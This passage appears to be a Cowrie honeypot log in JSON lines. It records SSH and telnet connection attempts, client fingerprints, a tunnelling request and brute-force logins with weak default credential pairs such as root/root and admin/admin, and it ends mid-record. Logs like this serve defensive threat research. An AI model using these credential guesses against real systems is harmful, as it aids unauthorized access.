{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:56:57.050131Z","src_ip":"198.98.56.227","session":"6848decd8e60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe./","message":"login attempt [ubuntu/123qwe./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:56:57.114222Z","src_ip":"198.98.56.227","session":"6848decd8e60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:56:58.137884Z","src_ip":"198.98.56.227","session":"6848decd8e60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":16658,"dst_ip":"10.17.0.5","dst_port":22,"session":"2af63b61580b","protocol":"ssh","message":"New connection: 87.251.64.176:16658 (10.17.0.5:22) [session: 2af63b61580b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:00.600949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:00.605178Z","src_ip":"87.251.64.176","session":"2af63b61580b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:00.701971Z","src_ip":"87.251.64.176","session":"2af63b61580b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:00.994098Z","src_ip":"87.251.64.176","session":"2af63b61580b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:01.093444Z","session":"2af63b61580b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:01.191438Z","src_ip":"87.251.64.176","session":"2af63b61580b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:01.290602Z","src_ip":"87.251.64.176","session":"2af63b61580b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.60","src_port":60078,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca961ddabdaa","protocol":"ssh","message":"New connection: 185.242.3.60:60078 (10.17.0.5:22) [session: ca961ddabdaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:09.107614Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:09.113724Z","src_ip":"185.242.3.60","session":"ca961ddabdaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.60","src_port":60086,"dst_ip":"10.17.0.5","dst_port":22,"session":"5272f50abcbb","protocol":"ssh","message":"New connection: 185.242.3.60:60086 (10.17.0.5:22) [session: 5272f50abcbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:09.279454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:09.284034Z","src_ip":"185.242.3.60","session":"5272f50abcbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:09.375776Z","src_ip":"185.242.3.60","session":"5272f50abcbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:09.556130Z","src_ip":"185.242.3.60","session":"5272f50abcbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:10.657130Z","src_ip":"185.242.3.60","session":"5272f50abcbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":28434,"dst_ip":"10.17.0.5","dst_port":22,"session":"a21f508e9413","protocol":"ssh","message":"New connection: 27.74.248.52:28434 (10.17.0.5:22) [session: a21f508e9413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:23.141582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:23.150143Z","src_ip":"27.74.248.52","session":"a21f508e9413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:23.609785Z","src_ip":"27.74.248.52","session":"a21f508e9413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":37792,"dst_ip":"10.17.0.5","dst_port":22,"session":"c70f697d2700","protocol":"ssh","message":"New connection: 50.225.176.238:37792 (10.17.0.5:22) [session: c70f697d2700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:24.507573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:24.513288Z","src_ip":"50.225.176.238","session":"c70f697d2700","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:24.525815Z","src_ip":"50.225.176.238","session":"c70f697d2700","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx3edc","message":"login attempt [ubuntu/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:24.605999Z","src_ip":"50.225.176.238","session":"c70f697d2700","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:24.991016Z","src_ip":"27.74.248.52","session":"a21f508e9413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:25.620966Z","src_ip":"50.225.176.238","session":"c70f697d2700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:26.453449Z","src_ip":"27.74.248.52","session":"a21f508e9413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":49744,"dst_ip":"10.17.0.5","dst_port":22,"session":"854799407bca","protocol":"ssh","message":"New connection: 198.98.56.227:49744 (10.17.0.5:22) [session: 854799407bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:39.871675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:39.881206Z","src_ip":"198.98.56.227","session":"854799407bca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:39.896121Z","src_ip":"198.98.56.227","session":"854799407bca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin.2024","message":"login attempt [root/admin.2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:39.955846Z","src_ip":"198.98.56.227","session":"854799407bca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:40.973151Z","src_ip":"198.98.56.227","session":"854799407bca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.197.40.117","src_port":5475,"dst_ip":"159.203.135.109","dst_port":23,"session":"2984c593079c","protocol":"telnet","message":"New connection: 181.197.40.117:5475 (159.203.135.109:23) [session: 2984c593079c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:57:48.857958Z"}
{"eventid":"cowrie.session.closed","duration":13.780901670455933,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:02.638745Z","src_ip":"181.197.40.117","session":"2984c593079c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.28.37.194","src_port":36756,"dst_ip":"10.17.0.5","dst_port":22,"session":"398d8100b644","protocol":"ssh","message":"New connection: 185.28.37.194:36756 (10.17.0.5:22) [session: 398d8100b644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:11.449351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:11.454203Z","src_ip":"185.28.37.194","session":"398d8100b644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:11.539371Z","src_ip":"185.28.37.194","session":"398d8100b644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.225.176.238","src_port":36912,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fdc60a7e434","protocol":"ssh","message":"New connection: 50.225.176.238:36912 (10.17.0.5:22) [session: 0fdc60a7e434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:11.616584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:58:11.622022Z","src_ip":"50.225.176.238","session":"0fdc60a7e434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 